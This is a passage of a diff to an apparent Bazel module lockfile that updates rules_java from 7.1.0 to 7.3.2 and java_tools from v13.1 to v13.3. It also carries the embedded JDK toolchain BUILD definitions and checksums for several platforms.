"54174439f2b3fddd11f1048c397fe7bb45d4c9d66d452d6889b013d04d21c4de", "strip_prefix": "zulu11.66.15-ca-jdk11.0.20-linux_aarch64", @@ -882,7 +1245,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_linux", + "name": "rules_java~7.3.2~toolchains~remotejdk17_linux", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "b9482f2304a1a68a614dfacddcf29569a72f0fac32e6c74f83dc1b9a157b8340", "strip_prefix": "zulu17.44.53-ca-jdk17.0.8.1-linux_x64", @@ -893,18 +1256,18 @@ } }, "remotejdk11_linux_s390x_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_s390x_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_s390x_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:s390x\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux_s390x//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:s390x\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux_s390x//:jdk\",\n)\n" } }, "remotejdk11_linux_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux//:jdk\",\n)\n" } }, @@ -912,7 +1275,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_macos", + "name": "rules_java~7.3.2~toolchains~remotejdk11_macos", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "bcaab11cfe586fae7583c6d9d311c64384354fb2638eb9a012eca4c3f1a1d9fd", "strip_prefix": "zulu11.66.15-ca-jdk11.0.20-macosx_x64", @@ -926,7 +1289,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_win_arm64", + "name": "rules_java~7.3.2~toolchains~remotejdk11_win_arm64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 11,\n)\n", "sha256": "b8a28e6e767d90acf793ea6f5bed0bb595ba0ba5ebdf8b99f395266161e53ec2", "strip_prefix": "jdk-11.0.13+8", @@ -939,7 +1302,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_macos", + "name": "rules_java~7.3.2~toolchains~remotejdk17_macos", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "640453e8afe8ffe0fb4dceb4535fb50db9c283c64665eebb0ba68b19e65f4b1f", "strip_prefix": "zulu17.44.53-ca-jdk17.0.8.1-macosx_x64", @@ -953,7 +1316,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_macos", + "name": "rules_java~7.3.2~toolchains~remotejdk21_macos", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 21,\n)\n", "sha256": "9639b87db586d0c89f7a9892ae47f421e442c64b97baebdff31788fbe23265bd", "strip_prefix": "zulu21.28.85-ca-jdk21.0.0-macosx_x64", @@ -964,18 +1327,18 @@ } }, "remotejdk21_macos_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_macos_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk21_macos_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_21\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"21\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk21_macos//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:x86_64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk21_macos//:jdk\",\n)\n" } }, "remotejdk17_macos_aarch64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_macos_aarch64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk17_macos_aarch64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_17\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"17\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk17_macos_aarch64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk17_macos_aarch64//:jdk\",\n)\n" } }, @@ -983,7 +1346,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk17_win", + "name": "rules_java~7.3.2~toolchains~remotejdk17_win", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 17,\n)\n", "sha256": "192f2afca57701de6ec496234f7e45d971bf623ff66b8ee4a5c81582054e5637", "strip_prefix": "zulu17.44.53-ca-jdk17.0.8.1-win_x64", @@ -994,18 +1357,18 @@ } }, "remotejdk11_macos_aarch64_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_macos_aarch64_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_macos_aarch64_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_macos_aarch64//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:macos\", \"@platforms//cpu:aarch64\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_macos_aarch64//:jdk\",\n)\n" } }, "remotejdk11_linux_ppc64le_toolchain_config_repo": { - "bzlFile": "@@rules_java~7.1.0//toolchains:remote_java_repository.bzl", + "bzlFile": "@@rules_java~7.3.2//toolchains:remote_java_repository.bzl", "ruleClassName": "_toolchain_config", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk11_linux_ppc64le_toolchain_config_repo", + "name": "rules_java~7.3.2~toolchains~remotejdk11_linux_ppc64le_toolchain_config_repo", "build_file": "\nconfig_setting(\n name = \"prefix_version_setting\",\n values = {\"java_runtime_version\": \"remotejdk_11\"},\n visibility = [\"//visibility:private\"],\n)\nconfig_setting(\n name = \"version_setting\",\n values = {\"java_runtime_version\": \"11\"},\n visibility = [\"//visibility:private\"],\n)\nalias(\n name = \"version_or_prefix_version_setting\",\n actual = select({\n \":version_setting\": \":version_setting\",\n \"//conditions:default\": \":prefix_version_setting\",\n }),\n visibility = [\"//visibility:private\"],\n)\ntoolchain(\n name = \"toolchain\",\n target_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:ppc\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux_ppc64le//:jdk\",\n)\ntoolchain(\n name = \"bootstrap_runtime_toolchain\",\n # These constraints are not required for correctness, but prevent fetches of remote JDK for\n # different architectures. As every Java compilation toolchain depends on a bootstrap runtime in\n # the same configuration, this constraint will not result in toolchain resolution failures.\n exec_compatible_with = [\"@platforms//os:linux\", \"@platforms//cpu:ppc\"],\n target_settings = [\":version_or_prefix_version_setting\"],\n toolchain_type = \"@bazel_tools//tools/jdk:bootstrap_runtime_toolchain_type\",\n toolchain = \"@remotejdk11_linux_ppc64le//:jdk\",\n)\n" } }, @@ -1013,7 +1376,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_linux", + "name": "rules_java~7.3.2~toolchains~remotejdk21_linux", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 21,\n)\n", "sha256": "0c0eadfbdc47a7ca64aeab51b9c061f71b6e4d25d2d87674512e9b6387e9e3a6", "strip_prefix": "zulu21.28.85-ca-jdk21.0.0-linux_x64", @@ -1027,11 +1390,11 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remote_java_tools_linux", - "sha256": "d134da9b04c9023fb6e56a5d4bffccee73f7bc9572ddc4e747778dacccd7a5a7", + "name": "rules_java~7.3.2~toolchains~remote_java_tools_linux", + "sha256": "a781eb28bb28d1fd9eee129272f7f2eaf93cd272f974a5b3f6385889538d3408", "urls": [ - "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.1/java_tools_linux-v13.1.zip", - "https://github.com/bazelbuild/java_tools/releases/download/java_v13.1/java_tools_linux-v13.1.zip" + "https://mirror.bazel.build/bazel_java_tools/releases/java/v13.3/java_tools_linux-v13.3.zip", + "https://github.com/bazelbuild/java_tools/releases/download/java_v13.3/java_tools_linux-v13.3.zip" ] } }, @@ -1039,7 +1402,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_win", + "name": "rules_java~7.3.2~toolchains~remotejdk21_win", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = [\"//visibility:public\"])\n\nexports_files([\"WORKSPACE\", \"BUILD.bazel\"])\n\nfilegroup(\n name = \"jre\",\n srcs = glob(\n [\n \"jre/bin/**\",\n \"jre/lib/**\",\n ],\n allow_empty = True,\n # In some configurations, Java browser plugin is considered harmful and\n # common antivirus software blocks access to npjp2.dll interfering with Bazel,\n # so do not include it in JRE on Windows.\n exclude = [\"jre/bin/plugin2/**\"],\n ),\n)\n\nfilegroup(\n name = \"jdk-bin\",\n srcs = glob(\n [\"bin/**\"],\n # The JDK on Windows sometimes contains a directory called\n # \"%systemroot%\", which is not a valid label.\n exclude = [\"**/*%*/**\"],\n ),\n)\n\n# This folder holds security policies.\nfilegroup(\n name = \"jdk-conf\",\n srcs = glob(\n [\"conf/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-include\",\n srcs = glob(\n [\"include/**\"],\n allow_empty = True,\n ),\n)\n\nfilegroup(\n name = \"jdk-lib\",\n srcs = glob(\n [\"lib/**\", \"release\"],\n allow_empty = True,\n exclude = [\n \"lib/missioncontrol/**\",\n \"lib/visualvm/**\",\n ],\n ),\n)\n\njava_runtime(\n name = \"jdk\",\n srcs = [\n \":jdk-bin\",\n \":jdk-conf\",\n \":jdk-include\",\n \":jdk-lib\",\n \":jre\",\n ],\n # Provide the 'java` binary explicitly so that the correct path is used by\n # Bazel even when the host platform differs from the execution platform.\n # Exactly one of the two globs will be empty depending on the host platform.\n # When --incompatible_disallow_empty_glob is enabled, each individual empty\n # glob will fail without allow_empty = True, even if the overall result is\n # non-empty.\n java = glob([\"bin/java.exe\", \"bin/java\"], allow_empty = True)[0],\n version = 21,\n)\n", "sha256": "e9959d500a0d9a7694ac243baf657761479da132f0f94720cbffd092150bd802", "strip_prefix": "zulu21.28.85-ca-jdk21.0.0-win_x64", @@ -1053,7 +1416,7 @@ "bzlFile": "@@bazel_tools//tools/build_defs/repo:http.bzl", "ruleClassName": "http_archive", "attributes": { - "name": "rules_java~7.1.0~toolchains~remotejdk21_linux_aarch64", + "name": "rules_java~7.3.2~toolchains~remotejdk21_linux_aarch64", "build_file_content": "load(\"@rules_java//java:defs.bzl\", \"java_runtime\")\n\npackage(default_visibility = 